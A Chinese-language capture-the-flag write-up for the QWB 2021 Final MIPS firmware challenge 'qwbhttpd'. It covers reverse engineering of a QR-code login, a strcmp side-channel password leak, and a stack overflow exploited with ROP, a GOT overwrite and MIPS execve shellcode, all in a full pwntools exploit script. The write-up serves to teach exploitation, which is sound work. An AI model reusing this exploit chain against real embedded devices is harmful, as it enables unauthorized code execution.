Back

[强网杯 2021 Final] 固件题 qwbhttpd 解题思路

Experience

这是一个32bit MIPS大端序的httpd固件。比赛过程挺曲折的,一开始本地调试用的qemu-user没管随机化问题,于是通过在uClibc中手动审计找了一个类似one_gadget的东西拿了shell。但是后来试了试发现远程起在qemu-system,于是就索性试试1/4096看能不能爆到——很遗憾没有hhh。

知道远程有随机化后我尝试过几个思路,但是都是差最后一点没构造成功。赛后去问了科恩的师傅学到了他们的做法,结合了一下我原先的思路在这里复盘一下,就当作给感兴趣的学弟们做个参考

Reverse

程序主要逻辑其实就是:解析请求->handle URL->不可描述的一堆处理

初步分析后,发现其中被能handle的请求有三种:

  1. GET请求/index.html

    • 通过一个函数返回./index.html文件中的内容(这是我其中一个利用思路来源)
    if (iVar3 != 0) {
      if ((((req_filename._0_4_ != 0x2f696e64) || (req_filename._4_4_ != 0x65782e68)) ||
          (req_filename._8_4_ != 0x746d6c00)) && (req_filename._0_2_ != 0x2f00)) {
        while ((vuln_ptr != (char *)0x0 && (line_buf._0_2_ != 0xa00))) {
          vuln_ptr = (char *)read_line(line_buf,0x400);
        }
        http_resp_404_notfound();
        return;
      }
      do_read_file("./index.html");
      return;
  1. POST请求/login.html

    • 必须带有两个请求头:Content-LengthContent-WWidth
    • 必须要满足:Content-Length == Content-WWidth*Content-WWidth*2
    • 请求体大小为Content-Length,且由0,1串构成,其中可用空格和回车分割
  2. GET请求/encode.html?info=

    • 前提条件是已经完成login,login的状态保存在一个全局变量

    • 如果已经login则会把info参数中的信息进行encode

"Login" function analysis

一开始的难点是分析程序如何解析login请求体的内容,主要实现在0x12500x5160中。通过查看0x5160所引用的一些常量中发现了两个东西:

  1. base45编码用的表:

0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ $%*+-./:

  1. 一个奇怪的7x7矩阵:
1 1 1 1 1 1 1
1 0 0 0 0 0 1
1 0 1 1 1 0 1
1 0 1 1 1 0 1
1 0 1 1 1 0 1
1 0 0 0 0 0 1
1 1 1 1 1 1 1

从读取请求体的逻辑上看基本可以确定是读取的一个NxN矩阵,N值为Content-WWidth。在后续过程中程序用上述7x7矩阵和输入矩阵多个位置进行了比对。在查阅base45实现的过程中发现base45常常被用在某些固件的二维码识别模块,遂恍然大悟:程序在做的其实是解析0,1串表示的二维码。上述比较过程其实就是确定二维码三个角上的定位点。

我们只要将passwd用qrcode库编码后POST到/login.html即可实现登录。

password前四位是启动时随机生成的,后四位是一个固定的程序地址。如果能能拿到passwd即同时完成了程序地址leak。

观察二维码解码后处理的逻辑:

      if (((content_length - 1U < 0xb40) && (content_wwidth - 1U < 0x26)) &&
         (content_wwidth * content_wwidth * 2 == content_length)) {
        set_glo_mem(0,content_wwidth);
        passwd._0_4_ = 0;
        passwd._4_4_ = 0;
        passwd._8_4_ = 0;
        passwd._12_4_ = 0;
        passwd._16_4_ = 0;
        passwd._20_4_ = 0;
        passwd._24_4_ = 0;
        passwd._28_4_ = 0;
        passwd._32_4_ = 0;
        strncpy(passwd,glo_mem_2,0x20);
        uVar4 = strcmp(glo_rand_byte_array,passwd);
        passwd._32_4_ = passwd._32_4_ & 0xffffff | (uVar4 & 0xff) << 0x18;
        if ((uVar4 & 0xff) != 0) {
          memset(input_data,0,0x40);
          sprintf(input_data,"Wrong password: %s",passwd);
          http_resp_500_internal_error(input_data);
          return;
        }
        glo_is_login = 1;
        http_resp_login_success();
        return;

strcmp的过程中第一个不相等的字符与正确字符的差值会被保存到uVar4,经过一个运算后存放在passwd[32]的位置上,而passwd最大长度为0x20,这样会导致这个值被leak出来,于是可以通过侧信道爆破的方式计算出正确的passwd值。

"Encode" function analysis

Encode逻辑同样是非常复杂,但是在实际测试的时候我找到了一个可以刚好覆盖到返回地址的栈溢出。但是返回地址的值不能直接由输入值控制,会经过一些运算处理,当然时间原因比赛过程是不可能一点一点逆完的。好在这个运算可以逆运算,只是不能任意地址跳转了,只能任意跳转到末尾为0(16进制最后一位)的地址。

溢出请求的构造结构大致如下:

GET /encode.html?info=1&info=xxxxxxxxxx \r\n

同时通过动态调试发现,在跳转前,栈上残留了上一次http请求中头部字段残余的值。于是想到可以把ROP参数利用请求头构造到栈上,然后跳转到合适的gadget上进行控制流劫持。

Exploit

Several ways

关于利用,列出当时的几个失败思路和成功的思路

one_gadget ×

注意:此one_gadget非真正的one_gadget,只是思路上类似

审计uClibc中有调用到/bin/sh字符串的所有位置,发现有一个地址末位为0的片段,正常执行下去不会报错,并且发生类似execl("/bin/sh", ["/bin/sh", "-c", "xxxx"] ,env)的调用,其中xxx取自sp+偏移处保存的指针...这不正好可以控制参数并getshell

000489e0 8f 86 80 54     lw         a2,-0x7fac(gp)=>PTR_000b0444                     = 000a0000
000489e4 8f 85 80 54     lw         __modes,-0x7fac(gp)=>PTR_000b0444                = 000a0000
000489e8 8f 84 80 54     lw         __command,-0x7fac(gp)=>PTR_000b0444              = 000a0000
000489ec 8f 99 84 58     lw         t9,-0x7ba8(gp)=>->execl                          = 00069290
000489f0 24 c6 96 28     addiu      a2=>DAT_00099628,a2,-0x69d8                      = 2Dh    -
000489f4 8f a7 00 70     lw         a3,local_res0(sp)
000489f8 24 a5 97 38     addiu      __modes=>DAT_00099738,__modes,-0x68c8            = 73h    s
000489fc 24 84 96 20     addiu      __command=>s_/bin/sh_00099620,__command,-0x69e0  = "/bin/sh"
00048a00 03 20 f8 09     jalr       t9=>execl                                        int execl(char * __path, char * ...

虽然如开头所说这个思路由于远程随机化破产了,但是我认为在实际利用中依然是一个思考方向

do_read_file ×

在访问/index.html时会调用一个读文件函数do_read_file("./index.html"),这个函数只需要用两段gadget,分别从栈上读参数,把参数加载到$a0上即可完成任意文件读。但是本题在所有已知地址中都无法构造出./flag来,所以利用失败。

leak ×

这个思路尝试调用程序中返回http请求错误信息或者返回解码结果的函数(同样只需要控制$a0),来泄露got表保存的地址。然而泄露容易,当想控制泄露完后执行流时发现找不到合适的gadget(也许是我没找到而已)。简而言之,这样的gadget大致需要满足:能够jr某个可控寄存器跳到被控函数且跳转前将$ra设为可控值。这样在函数内部将$ra保存到栈,并取出$ra值返回的时候,跳到的便是可控地址。

rewrite got & shellcode

之前查到好多例子都是以调用shellcode结尾,但是在checksec的时候发现开了NX保护就没想这方面。后来从科恩师傅那了解到由于缺乏硬件支持,mips是没有NX保护的(这里还有点疑惑),可以劫持got表跳转到shellcode。

那么问题来了,如何找到能写完got表之后就能调用被修改表项的指针,而且不报错的位置?如果用rop分别进行修改和调用那么又会面临leak思路中遇到的问题。

科恩师傅的思路是跳到了0x1170的位置,这里是一个从打开的文件描述符读取(用的read)内容并写到输出流上的函数:

void return_page_content(int fd)

{
  size_t rn;
  undefined file_buf [1028];

  while( true ) {
    rn = read(fd,file_buf,0x400);
    if (rn != 0x400) break;
    write(1,file_buf,0x400);
  }
  write(1,file_buf,rn);
  return;
}

观察反汇编:

        00011170 8f bc 00 10     lw         gp,local_418(sp)
                             LAB_00011174                                    XREF[1]:     00011164(j)  
        00011174 8f 99 81 58     lw         t9,-0x7ea8(gp)=>->read                           = 00018940
        00011178 02 00 28 25     or         a1,s0,zero
        0001117c 02 20 20 25     or         fd,s1,zero
        00011180 03 20 f8 09     jalr       t9=>read                                         ssize_t read(int __fd, void * __
        00011184 24 06 04 00     _li        a2,0x400
        00011188 8f bc 00 10     lw         gp,local_418(sp)
        0001118c 24 03 04 00     li         v1,0x400
        00011190 24 06 04 00     li         a2,0x400
        00011194 02 00 28 25     or         a1,s0,zero
        00011198 24 04 00 01     li         fd,0x1
        0001119c 10 43 ff f3     beq        rn,v1,LAB_0001116c
        000111a0 8f 99 81 6c     _lw        t9,-0x7e94(gp)=>->write                          = 00018920
        000111a4 03 20 f8 09     jalr       t9=>write                                        ssize_t write(int __fd, void * _

可以发现,其中几个关键参数都可以控制:

  1. gp寄存器从栈上取得,可以控制,这关系到如何取出read函数的地址。由于之前已经leak了程序地址,所以这一步可以通过计算得到正确的gp偏移

    • gp_val = 0x80007870 + (elf_base - 0x7ffe6000)
  2. read的第一个参数由$s0控制,第二个参数由$s1控制,大部分gadget可控(此处依然最好选取0结尾处的gadget)

    • 控制read写write的got表为shellcode地址,而shellcode可以直接从write_got+4的位置开始覆盖,也就是:[wrtie_got] -> wrtie_got+4

gadget选用如下:

    .text:000083F0                 sll     $v0, 1
    .text:000083F4                 lw      $v1, 0x24($sp)
    .text:000083F8                 lw      $ra, 0x4C($sp)
    .text:000083FC                 lw      $fp, 0x48($sp)
    .text:00008400                 lw      $s7, 0x44($sp)
    .text:00008404                 lw      $s6, 0x40($sp)
    .text:00008408                 lw      $s5, 0x3C($sp)
    .text:0000840C                 lw      $s4, 0x38($sp)
    .text:00008410                 addu    $v0, $v1, $v0
    .text:00008414                 lw      $s3, 0x34($sp)
    .text:00008418                 lw      $s2, 0x30($sp)
    .text:0000841C                 lw      $s1, 0x2C($sp)
    .text:00008420                 lw      $s0, 0x28($sp)
    .text:00008424                 jr      $ra

Write shellcode

最后详解一下mips下shellcode编写技巧,因为虽然大致思路与x86类似,但是用些mips way可以让shellcode更精炼

下面是我用的shellcode:

    xor $a0, $a0
    xor $a1, $a1
    xor $a2, $a2
    xor $v0, $v0
    bal exec
    nop
    .string "/bin/sh"
exec:
    move $a0, $ra
    li $v0, 0xFAB
    syscall
    nop

可以看到参数传递不是通过

常数加载到寄存器

寄存器存栈

,然后

传栈指针

的笨方式,而是先在代码中嵌入了一段string,在string前bal exec,这样string所在地址就会作为返回地址保存在$ra寄存器中,下面只需要把$ra给到$a0就完成了参数控制。注意,由于mips架构中指令预取特性的存在,bal后面需要用一条nop指令来填充(这部分原因在大二计组课程会提到,不赘述)

另一个要注意的点是调用号为0xFAB,也就是4000+11,MIPS架构的Linux系统有如下宏:

linux-xxx/arch/mips/include/uapi/syscall.h可以看到
#ifndef __NR_syscall /* Only defined if _MIPS_SIM == _MIPS_SIM_ABI32 */
#define __NR_syscall 4000
#endif

而在linux-xxx/arch/mips/kernel/syscalls/syscall_o32.tbl可以看到execve调用号为11

最后的系统调用号是__NR_syscall+11构成,也就是0xFAB

Full exp

from pwn import *
import sys
import qrcode

if len(sys.argv) == 2 and sys.argv[1] == "debug":
    p = process(["qemu-mips", "-g", "1234", "--singlestep", "-L", "./", "./qwbhttpd"])
elif len(sys.argv) == 2 and sys.argv[1] == "remote":
    p = remote("172.20.5.22", 11258)
    #p = remote("127.0.0.1", 2333)
else:
    p = process(["qemu-mips", "-L", "./", "./qwbhttpd"])

context.log_level = "debug"
context.arch = "mips"
context.endian = "big"

def get_qr_matrix(data:bytes):
    qr = qrcode.QRCode(
        version=1,
        error_correction=qrcode.constants.ERROR_CORRECT_L,
        box_size=1,
        border=0,
    )
    qr.add_data(data)
    qr.make(fit=True)
    qr.print_ascii()
    #print(dir(qr))
    raw_matrix = qr.get_matrix()

    return raw_matrix

def matrix_serialize(qr_matrix):
    res = b""
    for i in qr_matrix:
        for j in i:
            num = b"1" if j==True else b"0"
            res += num + b" "

    return res

def burp_pass(pad):
    req = b"POST /login.html HTTP/1.1\r\n"
    matrix = get_qr_matrix(pad.ljust(0x20, b"\x01"))
    wwidth = len(matrix)
    data = matrix_serialize(matrix)
    req += b"Content-Length: " + str(wwidth*wwidth*2).encode() + b"\r\n"
    req += b"Content-WWidth: " + str(wwidth).encode() + b"\r\n"
    req += b"\r\n"
    req += data
    print("Data length:", len(data))
    p.send(req)

def login(passwd):
    req = b"POST /login.html HTTP/1.1\r\n"
    matrix = get_qr_matrix(passwd)
    wwidth = len(matrix)
    data = matrix_serialize(matrix)
    req += b"Content-Length: " + str(wwidth*wwidth*2).encode() + b"\r\n"
    req += b"Content-WWidth: " + str(wwidth).encode() + b"\r\n"
    req += b"\r\n"
    req += data
    print("Data length:", len(data))
    p.send(req)

# hex(0 & 0xffffff | (-(ord("A")-0x51) & 0xff) << 0x18 )

def encode(data=b""):
    req = b"GET /encode.html?info="+ data + b" HTTP/1.1\r\n"
    req += b"\r\n"

    p.send(req)

def vuln(data=b""):
    req = b"GET /encode.html?info=1&info=" + data + b" HTTP/1.1\r\n"
    req += b"\r\n"

    p.send(req) 

def calc_addr(raw_addr):
    def get_idx_num(num:int, idx:int):
        return (num >> ((7-idx)*4)) & 0xf
    num = 0
    num += ((raw_addr&0x0ffffff0)<<4) + get_idx_num(raw_addr, 0)
    print(hex(num))
    return num

def exp():
    # burp_password
    passwd = b""
    for i in range(8):
        burp_pass(passwd)
        p.recvuntil(b"Wrong password: ")
        p.recv(32)
        leak_byte = p.recv(1)
        passwd += bytes([0x1+u8(leak_byte)])
        print("Curr passwd:", passwd.hex(" "))

    # login
    login(passwd)
    # calc base
    leak_addr = u32(passwd[4:])
    elf_base = leak_addr - 0x19d60
    libc_base = elf_base - 0x8d3000
    print("leak_addr:", hex(leak_addr))
    print("libc_base:", hex(libc_base))
    print("elf_base:", hex(elf_base))

    # local
    # base: 0x7ffe6000
    # libc: 0x7f713000
    '''
    .text:000083F0                 sll     $v0, 1
    .text:000083F4                 lw      $v1, 0x24($sp)
    .text:000083F8                 lw      $ra, 0x4C($sp)
    .text:000083FC                 lw      $fp, 0x48($sp)
    .text:00008400                 lw      $s7, 0x44($sp)
    .text:00008404                 lw      $s6, 0x40($sp)
    .text:00008408                 lw      $s5, 0x3C($sp)
    .text:0000840C                 lw      $s4, 0x38($sp)
    .text:00008410                 addu    $v0, $v1, $v0
    .text:00008414                 lw      $s3, 0x34($sp)
    .text:00008418                 lw      $s2, 0x30($sp)
    .text:0000841C                 lw      $s1, 0x2C($sp)
    .text:00008420                 lw      $s0, 0x28($sp)
    .text:00008424                 jr      $ra
    '''
    gadget1 = elf_base+0x83F0

    write_got = elf_base+0x199DC
    target = elf_base+0x1170 # read write
    gp_val = 0x80007870 + (elf_base - 0x7ffe6000)

    # build ROP
    req = b"POST /login.html HTTP/1.1\r\n"
    matrix = get_qr_matrix(passwd)
    wwidth = len(matrix)
    data = matrix_serialize(matrix)
    req += b"Content-Length: " + str(wwidth*wwidth*2).encode() + b"\r\n"
    req += b"Content-WWidth: " + str(wwidth).encode() + b"\r\n"
    req += b"AAAAAAAA: AAAAAA"
    f = {
        0x28-0x28: p32(write_got) + p32(0),# s0:write_got s1:0
        0x4c-0x28: p32(target), # ra -> target
        0x28+0x10:(gp_val), # gp
    }
    rop = fit(f)
    req += rop + b"\r\n"
    req += b"\r\n"
    req += data
    p.send(req)

    print("gadget1:", hex(gadget1))
    vuln(p32(calc_addr(gadget1))*0x30)
    shellcode = asm('''
            xor $a0, $a0
            xor $a1, $a1
            xor $a2, $a2
            xor $v0, $v0
            bal exec
            nop
            .string "/bin/sh"
        exec:
            move $a0, $ra
            li $v0, 0xFAB
            syscall
            nop
    ''')
    p.send(p32(write_got+4) + shellcode)

    p.interactive()


if __name__ == "__main__":
    exp()

Summary

MIPS可能在Iot安全研究中经常见到,很多东西不如x86那么直观。打好基础,通过迁移运用的方式发现利用思路很重要。对了,对uClibc利用方式感兴趣的可以看看我之前发的有关uClibc下malloc机制利用思路的文章。

Submit
    eqqie
    eqqie  2021-08-25, 19:06

    123